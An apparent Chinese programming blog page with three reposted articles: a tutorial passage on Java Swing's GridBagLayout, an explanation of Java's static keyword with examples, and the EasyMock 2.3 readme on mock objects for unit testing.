    我们以GridBagWindow的内容面板作为开始来创建一个GridBagLayout对象,准确地说,这个方法与过去我们所创建GridLayout对象和BorderLayout对象的方法是一样的。那么,现在我们就开始来设置GridBagLayout对象使它作为内容面板的布局。

GridBagConstraints c = new GridBagConstraints();

    然后我要提到这整个进程中的一个独特的对象,那就是GridBagConstraints。这个对象在GridBagLayout中控制所有被安置在其中组件的约束。为了把一个组件增加到你的GridBagLayout中去,你首先必须将它与一个GridBagConstraints对象建立连接。

GridBagConstraints可以从11个方面来进行控制和操纵,也可以给你提供一些帮助。这些内容是:

  • Gridx——组件的横向坐标
  • Girdy——组件的纵向坐标
  • Gridwidth——组件的横向宽度,也就是指组件占用的列数,这与HTML的colspan类似
  • Gridheight——组件的纵向长度,也就是指组件占用的行数,这与HTML的rowspan类似
  • Weightx——指行的权重,告诉布局管理器如何分配额外的水平空间
  • Weighty——指列的权重,告诉布局管理器如何分配额外的垂直空间
  • Anchor——告诉布局管理器组件在表格空间中的位置
  • Fill——如果显示区域比组件的区域大的时候,可以用来控制组件的行为。控制组件是垂直填充,还是水平填充,或者两个方向一起填充
  • Insets——指组件与表格空间四周边缘的空白区域的大小
  • Ipadx—— 组件间的横向间距,组件的宽度就是这个组件的最小宽度加上ipadx值
  • ipady—— 组件间的纵向间距,组件的高度就是这个组件的最小高度加上ipady值

    可能对于一个组件的每一个实例你都需要为它建立一个单独的GridBagConstraints;然而,这种方法我们并不推荐使用。最好的方法是,当你调用它的时候把对象设置为默认值,然后针对于每一个组件改变其相应的域。

    这个方法具有通用性,因为在一些域中,比如insets、padx、pady和fill这些域,对于每一个组件来说一般都是相同的,因此这样对一个域进行设置就会更轻松了,也能更轻松的在另外的组件中改变某些域的值。

    如果在改变了某些域值之后,你想回到原始的域值的话,你应该在增加下一个组件之前进行改变。这种方法使你更容易明白你正在修改的内容,也能使你更容易明白在一连串对象中的这11个参数的作用。

    也许你现在对这些内容还是一知半解,不过事实上一旦你理解了GridBagConstraints,值得安慰的是你以后做再困难的工作都会游刃有余了。

所以,如果我们已经明白了GridBagConstraints的详细用法了,那么现在就让我们来看看在实际应用中应该如何来实现它:

tagLbl = new JLabel("Tags");
c.gridx = 0; //x grid position
c.gridy = 0; //y grid position
gridbag.setConstraints(tagLbl, c); //设置标签的限制

contentPane.add(tagLbl); //增加到内容面板

我们所做的是示例我们的标签、分配给它一个格位置,将它与一个约束对象联系起来并把它增加到我们的内容面板中。

tagModeLbl = new JLabel("Tag Mode");
c.gridx = 0;
c.gridy = 1;
gridbag.setConstraints(tagModeLbl, c);

contentPane.add(tagModeLbl);

  请注意,虽然我们已经在我们的约束对象中把gridx的值设置为0,但是在这里我们仍然要对它进行重新设置——这样做没有其它原因,只是为了增加可读性。

    下面,我们增加一个文本域以便能存储我们希望能搜索到的关键字,再增加一个组合框以便用来搜索多个关键字。除了我们希望的文本域有两列之外,这个概念其他的方面都与上面所说的是相同的,所以,我们需要在增加组合框之前重新设置文本域的值。

tagTxt = new JTextField("plinth");
c.gridx = 1;
c.gridy = 0;
c.gridwidth = 2;
gridbag.setConstraints(tagTxt, c);
contentPane.add(tagTxt);

String[] options = {"all", "any"};
modeCombo = new JComboBox(options);
c.gridx = 1;
c.gridy = 1;
c.gridwidth = 1;
gridbag.setConstraints(modeCombo, c);
contentPane.add(modeCombo);

      做了这些之后,我们再在内容面板中增加一些其余的简单组件,这时候我们就能够浏览它了;其余的代码应该不会出现任何问题了。

到这个阶段,我们应该已经得到了一个类似于我们先前所设计的界面了。

进一步学习

     当然,界面不是智能的。重新设置窗口的大小,看看将会发生些什么事情。为什么它会那样呢?那是因为我们设置了约束对象的weightx、weighty和fill的值。

关于其他类似的一些内容我们将在后面的章节中进行介绍,但是如果你希望能自己试试的话,参考GridBigLayoutGridBagConstraintsAPI文档会对扩充你的知识提供很好的帮助。

posted @ 2007-11-14 23:24 九宝 阅读(1790) | 评论 (2)编辑 收藏

Java中static用法简谈(转)

请先看下面这段程序:
   public class Hello{ 
   public static void main(String[] args){ //(1)  
   System.out.println("Hello,world!");  //(2) 
   }
   }
  看过这段程序,对于大多数学过Java 的从来说,都不陌生。即使没有学过Java,而学过其它的高
  级语言,例如C,那你也应该能看懂这段代码的意思。它只是简单的输出“Hello,world”,一点
  别的用处都没有,然而,它却展示了static关键字的主要用法。
  在1处,我们定义了一个静态的方法名为main,这就意味着告诉Java编译器,我这个方法不需要创建一个此类的对象即可使用。你还得你是怎么运行这个程序吗?一般,我们都是在命令行下,打入如下的命令(加下划线为手动输入):
  javac Hello.java
  java Hello
  Hello,world!
  这就是你运行的过程,第一行用来编译Hello.java这个文件,执行完后,如果你查看当前,会发现多了一个Hello.class文件,那就是第一行产生的Java二进制字节码。第二行就是执行一个Java程序的最普遍做法。执行结果如你所料。在2中,你可能会想,为什么要这样才能输出。好,我们来分解一下这条语句。(如果没有安装Java文档,请到Sun的官方网站浏览J2SE API)首先,System是位于java.lang包中的一个核心类,如果你查看它的定义,你会发现有这样一行:public static final PrintStream out;接着在进一步,点击PrintStream这个超链接,在METHOD页面,你会看到大量定义的方法,查找println,会有这样一行:
  public void println(String x)。好了,现在你应该明白为什么我们要那样调用了,out是System的一个静态变量,所以可以直接使用,而out所属的类有一个println方法。
  静态方法
  通常,在一个类中定义一个方法为static,那就是说,无需本类的对象即可调用此方法。如下所示:
  class Simple{ 
  static void go(){  
  System.out.println("Go..."); 
  }
  }
  public class Cal{
   public static void main(String[] args){ 
   Simple.go();
   }
  }
  调用一个静态方法就是“类名.方法名”,静态方法的使用很简单如上所示。一般来说,静态方法常常为应用程序中的其它类提供一些实用工具所用,在Java的类库中大量的静态方法正是出于此目的而定义的。
  静态变量
  静态变量与静态方法类似。所有此类实例共享此静态变量,也就是说在类装载时,只分配一块存储空间,所有此类的对象都可以操控此块存储空间,当然对于final则另当别论了。看下面这段代码:
  class Value{ 
  static int c=0; 
  static void inc(){ 
   c++; 
  }}
  class Count{
   public static void prt(String s){ 
   System.out.println(s);
   }
   public static void main(String[] args){ 
   Value v1,v2; 
   v1=new Value();
    v2=new Value(); 
   prt("v1.c="+v1.c+"
   v2.c="+v2.c);  
  v1.inc(); 
   prt("v1.c="+v1.c+" v2.c="+v2.c);  
  }}
  结果如下:
  v1.c=0 v2.c=0
  v1.c=1 v2.c=1
  由此可以证明它们共享一块存储区。static变量有点类似于C中的全局变量的概念。值得探讨的是静态变量的初始化问题。我们修改上面的程序:
  class Value{
   static int c=0;
   Value() 
  Value(int i){ 
   c=i;
   }
   static void inc(){ 
   c++;
   }}
  class Count{ 
  public static void prt(String s){  
  System.out.println(s);
   }  
  Value v=new Value(10);  
  static Value v1,v2; 
   static{  
   prt("v1.c="+v1.c+" 
  v2.c="+v2.c);  
   v1=new Value(27);  
   prt("v1.c="+v1.c+" v2.c="+v2.c);  
   v2=new Value(15);  
   prt("v1.c="+v1.c+" v2.c="+v2.c);
    } 
  public static void main(String[] args){  
  Count ct=new Count(); 
   prt("ct.c="+ct.v.c); 
   prt("v1.c="+v1.c+" v2.c="+v2.c); 
   v1.inc();  
  prt("v1.c="+v1.c+" v2.c="+v2.c);  
  prt("ct.c="+ct.v.c);
   }}
  运行结果如下:
  v1.c=0 v2.c=0
  v1.c=27 v2.c=27
  v1.c=15 v2.c=15
  ct.c=10
  v1.c=10 v2.c=10
  v1.c=11 v2.c=11
  ct.c=11
  这个程序展示了静态初始化的各种特性。如果你初次接触Java,结果可能令你吃惊。可能会对static后加大括号感到困惑。首先要告诉你的是,static定义的变量会优先于任何其它非static变量,不论其出现的顺序如何。正如在程序中所表现的,虽然v出现在v1和v2的前面,但是结果却是v1和v2的初始化在v的前面。在static{后面跟着一段代码,这是用来进行显式的静态变量初始化,这段代码只会初始化一次,且在类被第一次装载时。如果你能读懂并理解这段代码,会帮助你对static关键字的认识。在涉及到继承的时候,会先初始化父类的static变量,然后是子类的,依次类推。非静态变量不是本文的主题,在此不做详细讨论,请参考Think in Java中的讲解。
  静态类
  通常一个普通类不允许声明为静态的,只有一个内部类才可以。这时这个声明为静态的内部类可以直接作为一个普通类来使用,而不需实例一个外部类。如下代码所示:
  public class StaticCls{
   public static void main(String[] args){ 
   OuterCls.InnerCls oi=new OuterCls.InnerCls();
   }}
  class OuterCls{ 
  public static class InnerCls{  
  InnerCls(){  
   System.out.println("InnerCls"); 
   }
   }}
  输出结果会如你所料:
  InnerCls

posted @ 2007-11-07 13:42 九宝 阅读(175) | 评论 (0)编辑 收藏

EasyMock 2.3 Readme(转 http://www.easymock.org/EasyMock2_3_Documentation.html)

EasyMock 2.3 Readme

Documentation for release 2.3 (July 9 2007)
© 2001-2007 OFFIS, Tammo Freese.

EasyMock 2 is a library that provides an easy way to use Mock Objects for given interfaces. EasyMock 2 is available under the terms of the MIT license.

Mock Objects simulate parts of the behavior of domain code, and are able to check whether they are used as defined. Domain classes can be tested in isolation by simulating their collaborators with Mock Objects.

Writing and maintaining Mock Objects often is a tedious task that may introduce errors. EasyMock 2 generates Mock Objects dynamically - no need to write them, and no generated code!

EasyMock 2 Benefits

  • Hand-writing classes for Mock Objects is not needed.
  • Supports refactoring-safe Mock Objects: test code will not break at runtime when renaming methods or reordering method parameters
  • Supports return values and exceptions.
  • Supports checking the order of method calls, for one or more Mock Objects.

EasyMock 2 Drawbacks

  • EasyMock 2 does only work with Java 2 Version 5.0 and above.

EasyMock by default supports the generation of Mock Objects for interfaces only. For those who would like to generate Mock Objects for classes, there is an extension available at the EasyMock home page.

Installation

  1. Java 2 (at least 5.0) is required.
  2. Unzip the EasyMock zip file (easymock2.3.zip). It contains a directory easymock2.3. Add the EasyMock jar file (easymock.jar) from this directory to your classpath.

To execute the EasyMock tests, add tests.zip and the JUnit 4.1 jar to your class path and start 'java org.easymock.tests.AllTests'.

The source code of EasyMock is stored in the zip file src.zip.

Usage

Most parts of a software system do not work in isolation, but collaborate with other parts to get their job done. In a lot of cases, we do not care about using collaborators in unit testing, as we trust these collaborators. If we do care about it, Mock Objects help us to test the unit under test in isolation. Mock Objects replace collaborators of the unit under test.

The following examples use the interface Collaborator:

package org.easymock.samples;
public interface Collaborator {
void documentAdded(String title);
void documentChanged(String title);
void documentRemoved(String title);
byte voteForRemoval(String title);
byte[] voteForRemovals(String[] title);
}

Implementors of this interface are collaborators (in this case listeners) of a class named ClassUnderTest:

public class ClassUnderTest {
// ...
public void addListener(Collaborator listener) {
// ...
}
public void addDocument(String title, byte[] document) {
// ...
}
public boolean removeDocument(String title) {
// ...
}
public boolean removeDocuments(String[] titles) {
// ...
}
}

The code for both the class and the interface may be found in the package org.easymock.samples in samples.zip.

The following examples assume that you are familiar with the JUnit testing framework. Although the tests shown here use JUnit in version 3.8.1, you may as well use JUnit 4 or TestNG.

The first Mock Object

We will now build a test case and toy around with it to understand the functionality of the EasyMock package. samples.zip contains a modified version of this test. Our first test should check whether the removal of a non-existing document does not lead to a notification of the collaborator. Here is the test without the definition of the Mock Object:

package org.easymock.samples;
import junit.framework.TestCase;
public class ExampleTest extends TestCase {
private ClassUnderTest classUnderTest;
private Collaborator mock;
protected void setUp() {
classUnderTest = new ClassUnderTest();
classUnderTest.addListener(mock);
}
public void testRemoveNonExistingDocument() {
// This call should not lead to any notification
// of the Mock Object:
classUnderTest.removeDocument("Does not exist");
}
}

For many tests using EasyMock 2, we only need a static import of methods of org.easymock.EasyMock. This is the only non-internal, non-deprecated class of EasyMock 2.

import static org.easymock.EasyMock.*;
import junit.framework.TestCase;
public class ExampleTest extends TestCase {
private ClassUnderTest classUnderTest;
private Collaborator mock;
}

To get a Mock Object, we need to

  1. create a Mock Object for the interface we would like to simulate,
  2. record the expected behavior, and
  3. switch the Mock Object to replay state.

Here is a first example:

    protected void setUp() {
mock = createMock(Collaborator.class); // 1
classUnderTest = new ClassUnderTest();
classUnderTest.addListener(mock);
}
public void testRemoveNonExistingDocument() {
// 2 (we do not expect anything)
replay(mock); // 3
classUnderTest.removeDocument("Does not exist");
}

After activation in step 3, mock is a Mock Object for the Collaborator interface that expects no calls. This means that if we change our ClassUnderTest to call any of the interface's methods, the Mock Object will throw an AssertionError:

java.lang.AssertionError:
Unexpected method call documentRemoved("Does not exist"):
at org.easymock.internal.MockInvocationHandler.invoke(MockInvocationHandler.java:29)
at org.easymock.internal.ObjectMethodsFilter.invoke(ObjectMethodsFilter.java:44)
at $Proxy0.documentRemoved(Unknown Source)
at org.easymock.samples.ClassUnderTest.notifyListenersDocumentRemoved(ClassUnderTest.java:74)
at org.easymock.samples.ClassUnderTest.removeDocument(ClassUnderTest.java:33)
at org.easymock.samples.ExampleTest.testRemoveNonExistingDocument(ExampleTest.java:24)
...

Adding Behavior

Let us write a second test. If a document is added on the class under test, we expect a call to mock.documentAdded() on the Mock Object with the title of the document as argument:

    public void testAddDocument() {
mock.documentAdded("New Document"); // 2
replay(mock); // 3
classUnderTest.addDocument("New Document", new byte[0]);
}

So in the record state (before calling replay), the Mock Object does not behave like a Mock Object, but it records method calls. After calling replay, it behaves like a Mock Object, checking whether the expected method calls are really done.

If classUnderTest.addDocument("New Document", new byte[0]) calls the expected method with a wrong argument, the Mock Object will complain with an AssertionError:

java.lang.AssertionError:
Unexpected method call documentAdded("Wrong title"):
documentAdded("New Document"): expected: 1, actual: 0
at org.easymock.internal.MockInvocationHandler.invoke(MockInvocationHandler.java:29)
at org.easymock.internal.ObjectMethodsFilter.invoke(ObjectMethodsFilter.java:44)
at $Proxy0.documentAdded(Unknown Source)
at org.easymock.samples.ClassUnderTest.notifyListenersDocumentAdded(ClassUnderTest.java:61)
at org.easymock.samples.ClassUnderTest.addDocument(ClassUnderTest.java:28)
at org.easymock.samples.ExampleTest.testAddDocument(ExampleTest.java:30)
...

All missed expectations are shown, as well as all fulfilled expectations for the unexpected call (none in this case). If the method call is executed too often, the Mock Object complains, too:

java.lang.AssertionError:
Unexpected method call documentAdded("New Document"):
documentAdded("New Document"): expected: 1, actual: 1 (+1)
at org.easymock.internal.MockInvocationHandler.invoke(MockInvocationHandler.java:29)
at org.easymock.internal.ObjectMethodsFilter.invoke(ObjectMethodsFilter.java:44)
at $Proxy0.documentAdded(Unknown Source)
at org.easymock.samples.ClassUnderTest.notifyListenersDocumentAdded(ClassUnderTest.java:62)
at org.easymock.samples.ClassUnderTest.addDocument(ClassUnderTest.java:29)
at org.easymock.samples.ExampleTest.testAddDocument(ExampleTest.java:30)
...

Verifying Behavior

There is one error that we have not handled so far: If we specify behavior, we would like to verify that it is actually used. The current test would pass if no method on the Mock Object is called. To verify that the specified behavior has been used, we have to call verify(mock):

    public void testAddDocument() {
mock.documentAdded("New Document"); // 2
replay(mock); // 3
classUnderTest.addDocument("New Document", new byte[0]);
verify(mock);
}

If the method is not called on the Mock Object, we now get the following exception:

java.lang.AssertionError:
Expectation failure on verify:
documentAdded("New Document"): expected: 1, actual: 0
at org.easymock.internal.MocksControl.verify(MocksControl.java:70)
at org.easymock.EasyMock.verify(EasyMock.java:536)
at org.easymock.samples.ExampleTest.testAddDocument(ExampleTest.java:31)
...

The message of the exception lists all missed expectations.

Expecting an Explicit Number of Calls

Up to now, our test has only considered a single method call. The next test should check whether the addition of an already existing document leads to a call to mock.documentChanged() with the appropriate argument. To be sure, we check this three times (hey, it is an example ;-)):

    public void testAddAndChangeDocument() {
mock.documentAdded("Document");
mock.documentChanged("Document");
mock.documentChanged("Document");
mock.documentChanged("Document");
replay(mock);
classUnderTest.addDocument("Document", new byte[0]);
classUnderTest.addDocument("Document", new byte[0]);
classUnderTest.addDocument("Document", new byte[0]);
classUnderTest.addDocument("Document", new byte[0]);
verify(mock);
}

To avoid the repetition of mock.documentChanged("Document"), EasyMock provides a shortcut. We may specify the call count with the method times(int times) on the object returned by expectLastCall(). The code then looks like:

    public void testAddAndChangeDocument() {
mock.documentAdded("Document");
mock.documentChanged("Document");
expectLastCall().times(3);
replay(mock);
classUnderTest.addDocument("Document", new byte[0]);
classUnderTest.addDocument("Document", new byte[0]);
classUnderTest.addDocument("Document", new byte[0]);
classUnderTest.addDocument("Document", new byte[0]);
verify(mock);
}

If the method is called too often, we get an exception that tells us that the method has been called too many times. The failure occurs immediately at the first method call exceeding the limit:

java.lang.AssertionError:
Unexpected method call documentChanged("Document"):
documentChanged("Document"): expected: 3, actual: 3 (+1)
at org.easymock.internal.MockInvocationHandler.invoke(MockInvocationHandler.java:29)
at org.easymock.internal.ObjectMethodsFilter.invoke(ObjectMethodsFilter.java:44)
at $Proxy0.documentChanged(Unknown Source)
at org.easymock.samples.ClassUnderTest.notifyListenersDocumentChanged(ClassUnderTest.java:67)
at org.easymock.samples.ClassUnderTest.addDocument(ClassUnderTest.java:26)
at org.easymock.samples.ExampleTest.testAddAndChangeDocument(ExampleTest.java:43)
...

If there are too few calls, verify(mock) throws an AssertionError:

java.lang.AssertionError:
Expectation failure on verify:
documentChanged("Document"): expected: 3, actual: 2
at org.easymock.internal.MocksControl.verify(MocksControl.java:70)
at org.easymock.EasyMock.verify(EasyMock.java:536)
at org.easymock.samples.ExampleTest.testAddAndChangeDocument(ExampleTest.java:43)
...

Specifying Return Values

For specifying return values, we wrap the expected call in expect(T value) and specify the return value with the method andReturn(Object returnValue) on the object returned by expect(T value).

As an example, we check the workflow for document removal. If ClassUnderTest gets a call for document removal, it asks all collaborators for their vote for removal with calls to byte voteForRemoval(String title) value. Positive return values are a vote for removal. If the sum of all values is positive, the document is removed and documentRemoved(String title) is called on all collaborators:

    public void testVoteForRemoval() {
mock.documentAdded("Document");   // expect document addition
// expect to be asked to vote for document removal, and vote for it
expect(mock.voteForRemoval("Document")).andReturn((byte) 42);
mock.documentRemoved("Document"); // expect document removal
replay(mock);
classUnderTest.addDocument("Document", new byte[0]);
assertTrue(classUnderTest.removeDocument("Document"));
verify(mock);
}
public void testVoteAgainstRemoval() {
mock.documentAdded("Document");   // expect document addition
// expect to be asked to vote for document removal, and vote against it
expect(mock.voteForRemoval("Document")).andReturn((byte) -42);
replay(mock);
classUnderTest.addDocument("Document", new byte[0]);
assertFalse(classUnderTest.removeDocument("Document"));
verify(mock);
}

The type of the returned value is checked at compile time. As an example, the following code will not compile, as the type of the provided return value does not match the method's return value:

    expect(mock.voteForRemoval("Document")).andReturn("wrong type");

Instead of calling expect(T value) to retrieve the object for setting the return value, we may also use the object returned by expectLastCall(). Instead of

    expect(mock.voteForRemoval("Document")).andReturn((byte) 42);

we may use

    mock.voteForRemoval("Document");
expectLastCall().andReturn((byte) 42);

This type of specification should only be used if the line gets too long, as it does not support type checking at compile time.

Working with Exceptions

For specifying exceptions (more exactly: Throwables) to be thrown, the object returned by expectLastCall() and expect(T value) provides the method andThrow(Throwable throwable). The method has to be called in record state after the call to the Mock Object for which it specifies the Throwable to be thrown.

Unchecked exceptions (that is, RuntimeException, Error and all their subclasses) can be thrown from every method. Checked exceptions can only be thrown from the methods that do actually throw them.

Creating Return Values or Exceptions

Sometimes we would like our mock object to return a value or throw an exception that is created at the time of the actual call. Since EasyMock 2.2, the object returned by expectLastCall() and expect(T value) provides the method andAnswer(IAnswer answer) which allows to specify an implementation of the interface IAnswer that is used to create the return value or exception.

Inside an IAnswer callback, the arguments passed to the mock call are available via EasyMock.getCurrentArguments(). If you use these, refactorings like reordering parameters may break your tests. You have been warned.

Changing Behavior for the Same Method Call

It is also possible to specify a changing behavior for a method. The methods times, andReturn, and andThrow may be chained. As an example, we define voteForRemoval("Document") to

  • return 42 for the first three calls,
  • throw a RuntimeException for the next four calls,
  • return -42 once.
    expect(mock.voteForRemoval("Document"))
.andReturn((byte) 42).times(3)
.andThrow(new RuntimeException(), 4)
.andReturn((byte) -42);

Relaxing Call Counts

To relax the expected call counts, there are additional methods that may be used instead of times(int count):

times(int min, int max)
to expect between min and max calls,
atLeastOnce()
to expect at least one call, and
anyTimes()
to expected an unrestricted number of calls.

If no call count is specified, one call is expected. If we would like to state this explicitely, once() or times(1) may be used.

Strict Mocks

On a Mock Object returned by a EasyMock.createMock(), the order of method calls is not checked. If you would like a strict Mock Object that checks the order of method calls, use EasyMock.createStrictMock() to create it.

If an unexpected method is called on a strict Mock Object, the message of the exception will show the method calls expected at this point followed by the first conflicting one. verify(mock) shows all missing method calls.

Switching Order Checking On and Off

Sometimes, it is necessary to have a Mock Object that checks the order of only some calls. In record phase, you may switch order checking on by calling checkOrder(mock, true) and switch it off by calling checkOrder(mock, false).

There are two differences between a strict Mock Object and a normal Mock Object:

  1. A strict Mock Object has order checking enabled after creation.
  2. A strict Mock Object has order checking enabled after reset (see Reusing a Mock Object).

Flexible Expectations with Argument Matchers

To match an actual method call on the Mock Object with an expectation, Object arguments are by default compared with equals(). This may lead to problems. As an example, we consider the following expectation:

String[] documents = new String[] { "Document 1", "Document 2" };
expect(mock.voteForRemovals(documents)).andReturn(42);

If the method is called with another array with the same contents, we get an exception, as equals() compares object identity for arrays:

java.lang.AssertionError:
Unexpected method call voteForRemovals([Ljava.lang.String;@9a029e):
voteForRemovals([Ljava.lang.String;@2db19d): expected: 1, actual: 0
documentRemoved("Document 1"): expected: 1, actual: 0
documentRemoved("Document 2"): expected: 1, actual: 0
at org.easymock.internal.MockInvocationHandler.invoke(MockInvocationHandler.java:29)
at org.easymock.internal.ObjectMethodsFilter.invoke(ObjectMethodsFilter.java:44)
at $Proxy0.voteForRemovals(Unknown Source)
at org.easymock.samples.ClassUnderTest.listenersAllowRemovals(ClassUnderTest.java:88)
at org.easymock.samples.ClassUnderTest.removeDocuments(ClassUnderTest.java:48)
at org.easymock.samples.ExampleTest.testVoteForRemovals(ExampleTest.java:83)
...

To specify that only array equality is needed for this call, we may use the method aryEq that is statically imported from the EasyMock class:

String[] documents = new String[] { "Document 1", "Document 2" };
expect(mock.voteForRemovals(aryEq(documents))).andReturn(42);

If you would like to use matchers in a call, you have to specify matchers for all arguments of the method call.

There are a couple of predefined argument matchers available.

eq(X value)
Matches if the actual value is equals the expected value. Available for all primitive types and for objects.
anyBoolean(), anyByte(), anyChar(), anyDouble(), anyFloat(), anyInt(), anyLong(), anyObject(), anyShort()
Matches any value. Available for all primitive types and for objects.
eq(X value, X delta)
Matches if the actual value is equal to the given value allowing the given delta. Available for float and double.
aryEq(X value)
Matches if the actual value is equal to the given value according to Arrays.equals(). Available for primitive and object arrays.
isNull()
Matches if the actual value is null. Available for objects.
notNull()
Matches if the actual value is not null. Available for objects.
same(X value)
Matches if the actual value is the same as the given value. Available for objects.
isA(Class clazz)
Matches if the actual value is an instance of the given class, or if it is in instance of a class that extends or implements the given class. Available for objects.
lt(X value), leq(X value), geq(X value), gt(X value)
Matches if the actual value is less/less or equal/greater or equal/greater than the given value. Available for all numeric primitive types and Comparable.
startsWith(String prefix), contains(String substring), endsWith(String suffix)
Matches if the actual value starts with/contains/ends with the given value. Available for Strings.
matches(String regex), find(String regex)
Matches if the actual value/a substring of the actual value matches the given regular expression. Available for Strings.
and(X first, X second)
Matches if the matchers used in first and second both match. Available for all primitive types and for objects.
or(X first, X second)
Matches if one of the matchers used in first and second match. Available for all primitive types and for objects.
not(X value)
Matches if the matcher used in value does not match.
cmpEq(X value)
Matches if the actual value is equals according to Comparable.compareTo(X o). Available for all numeric primitive types and Comparable.
cmp(X value, Comparator comparator, LogicalOperator operator)
Matches if comparator.compare(actual, value) operator 0 where the operator is <,<=,>,>= or ==. Available for objects.

Defining your own Argument Matchers

Sometimes it is desirable to define own argument matchers. Let's say that an argument matcher is needed that matches an exception if the given exception has the same type and an equal message. It should be used this way:

    IllegalStateException e = new IllegalStateException("Operation not allowed.")
expect(mock.logThrowable(eqException(e))).andReturn(true);

Two steps are necessary to achieve this: The new argument matcher has to be defined, and the static method eqException has to be declared.

To define the new argument matcher, we implement the interface org.easymock.IArgumentMatcher. This interface contains two methods: matches(Object actual) checks whether the actual argument matches the given argument, and appendTo(StringBuffer buffer) appends a string representation of the argument matcher to the given string buffer. The implementation is straightforward:

import org.easymock.IArgumentMatcher;
public class ThrowableEquals implements IArgumentMatcher {
private Throwable expected;
public ThrowableEquals(Throwable expected) {
this.expected = expected;
}
public boolean matches(Object actual) {
if (!(actual instanceof Throwable)) {
return false;
}
String actualMessage = ((Throwable) actual).getMessage();
return expected.getClass().equals(actual.getClass())
&& expected.getMessage().equals(actualMessage);
}
public void appendTo(StringBuffer buffer) {
buffer.append("eqException(");
buffer.append(expected.getClass().getName());
buffer.append(" with message \"");
buffer.append(expected.getMessage());
buffer.append("\"")");
}
}

The method eqException must create the argument matcher with the given Throwable, report it to EasyMock via the static method reportMatcher(IArgumentMatcher matcher), and return a value so that it may be used inside the call (typically 0, null or false). A first attempt may look like:

public static Throwable eqException(Throwable in) {
EasyMock.reportMatcher(new ThrowableEquals(in));
return null;
}

However, this only works if the method logThrowable in the example usage accepts Throwables, and does not require something more specific like a RuntimeException. In the latter case, our code sample would not compile:

    IllegalStateException e = new IllegalStateException("Operation not allowed.")
expect(mock.logThrowable(eqException(e))).andReturn(true);

Java 5.0 to the rescue: Instead of defining eqException with a Throwable as parameter and return value, we use a generic type that extends Throwable:

public static <T extends Throwable> T eqException(T in) {
reportMatcher(new ThrowableEquals(in));
return null;
}

Reusing a Mock Object

Mock Objects may be reset by reset(mock).

Using Stub Behavior for Methods

Sometimes, we would like our Mock Object to respond to some method calls, but we do not want to check how often they are called, when they are called, or even if they are called at all. This stub behavoir may be defined by using the methods andStubReturn(Object value), andStubThrow(Throwable throwable), andStubAnswer(IAnswer answer) and asStub(). The following code configures the MockObject to answer 42 to voteForRemoval("Document") once and -1 for all other arguments:

    expect(mock.voteForRemoval("Document")).andReturn(42);
expect(mock.voteForRemoval(not(eq("Document")))).andStubReturn(-1);

Nice Mocks

On a Mock Object returned by createMock() the default behavior for all methods is to throw an AssertionError for all unexpected method calls. If you would like a "nice" Mock Object that by default allows all method calls and returns appropriate empty values (0, null or false), use createNiceMock() instead.

Object Methods

The behavior for the three object methods equals(), hashCode() and toString() cannot be changed for Mock Objects created with EasyMock, even if they are part of the interface for which the Mock Object is created.

Checking Method Call Order Between Mocks

Up to this point, we have seen a mock object as a single object that is configured by static methods on the class EasyMock. But many of these static methods just identify the hidden control of the Mock Object and delegate to it. A Mock Control is an object implementing the IMocksControl interface.

So instead of

    IMyInterface mock = createStrictMock(IMyInterface.class);
replay(mock);
verify(mock);
reset(mock);

we may use the equivalent code:

    IMocksControl ctrl = createStrictControl();
IMyInterface mock = ctrl.createMock(IMyInterface.class);
ctrl.replay();
ctrl.verify();
ctrl.reset();

The IMocksControl allows to create more than one Mock Object, and so it is possible to check the order of method calls between mocks. As an example, we set up two mock objects for the interface IMyInterface, and we expect the calls mock1.a() and mock2.a() ordered, then an open number of calls to mock1.c() and mock2.c(), and finally mock2.b() and mock1.b(), in this order:

    IMocksControl ctrl = createStrictControl();
IMyInterface mock1 = ctrl.createMock(IMyInterface.class);
IMyInterface mock2 = ctrl.createMock(IMyInterface.class);
mock1.a();
mock2.a();
ctrl.checkOrder(false);
mock1.c();
expectLastCall().anyTimes();
mock2.c();
expectLastCall().anyTimes();
ctrl.checkOrder(true);
mock2.b();
mock1.b();
ctrl.replay();

Naming Mock Objects

Mock Objects can be named at creation using createMock(String name, Class toMock), createStrictMock(String name, Class toMock) or createNiceMock(String name, Class toMock). The names will be shown in exception failures.

Backward Compatibility

EasyMock 2 contains a compatibility layer so that tests using EasyMock 1.2 for Java 1.5 should work without any modification. The only known differences are visible when failures occur: there are small changes in the failure messages and stack traces, and failures are now reported using Java's AssertionError instead of JUnit's AssertionFailedError.

EasyMock 2.1 introduced a callback feature that has been removed in EasyMock 2.2, as it was too complex. Since EasyMock 2.2, the IAnswer interface provides the functionality for callbacks.

EasyMock Development

EasyMock 1.0 has been developed by Tammo Freese at OFFIS. The development of EasyMock is now hosted on SourceForge to allow other developers and companies to contribute.

Thanks to the people who gave feedback or provided patches, including Nascif Abousalh-Neto, Dave Astels, Francois Beausoleil, George Dinwiddie, Shane Duan, Wolfgang Frech, Steve Freeman, Oren Gross, John D. Heintz, Dale King, Brian Knorr, Dierk Koenig, Chris Kreussling, Robert Leftwich, Patrick Lightbody, Johannes Link, Rex Madden, David McIntosh, Karsten Menne, Bill Michell, Stephan Mikaty, Ivan Moore, Ilja Preuss, Justin Sampson, Markus Schmidlin, Richard Scott, Joel Shellman, Jiří Mareš, Alexandre de Pellegrin Shaun Smith, Marco Struck, Ralf Stuckert, Victor Szathmary, Henri Tremblay, Bill Uetrecht, Frank Westphal, Chad Woolley, Bernd Worsch, and numerous others.

Please check the EasyMock home page for new versions, and send bug reports and suggestions to the EasyMock Yahoo!Group. If you would like to subscribe to the EasyMock Yahoo!Group, send a message to easymock-subscribe@yahoogroups.com.

EasyMock Version 2.3 (July 9 2007)

Changes since 2.2:

  • French documentation
  • Matchers for Comparable parameters
  • Decimal comparison fix
  • Mock Objects can now be named
  • Include Bill Michell's ThreadLocal fix
  • Converted EasyMock's unit tests to JUnit 4

Changes since 2.1:

  • answers for expected calls can now be created at call time via andAnswer(IAnswer answer) and andStubAnswer(IAnswer answer)
  • callback(Runnable runnable) has been removed, for callbacks, please switch to andAnswer(IAnswer answer) and andStubAnswer(IAnswer answer)
  • replay(), verify() and reset() now accept multiple mock objects as arguments

Changes since 2.0:

  • arguments passed to the mock object are now available in callbacks via EasyMock.getCurrentArguments()
  • fixed bug reported in http://groups.yahoo.com/group/easymock/message/558
  • earlier failing if unused matchers were specified

Changes since 1.2:

  • support for flexible, refactoring-safe argument matchers
  • no mock control is needed for single Mock Objects
  • stub behavior replaces default behavior
  • support for call order checking for more than one mock, and to switch order checking on and off
  • support for callbacks
  • EasyMock now throws java.lang.AssertionError instead of junit.framework.AssertionFailedError so that it is now independent from the testing framework, you may use it with JUnit 3.8.x, JUnit 4 and TestNG
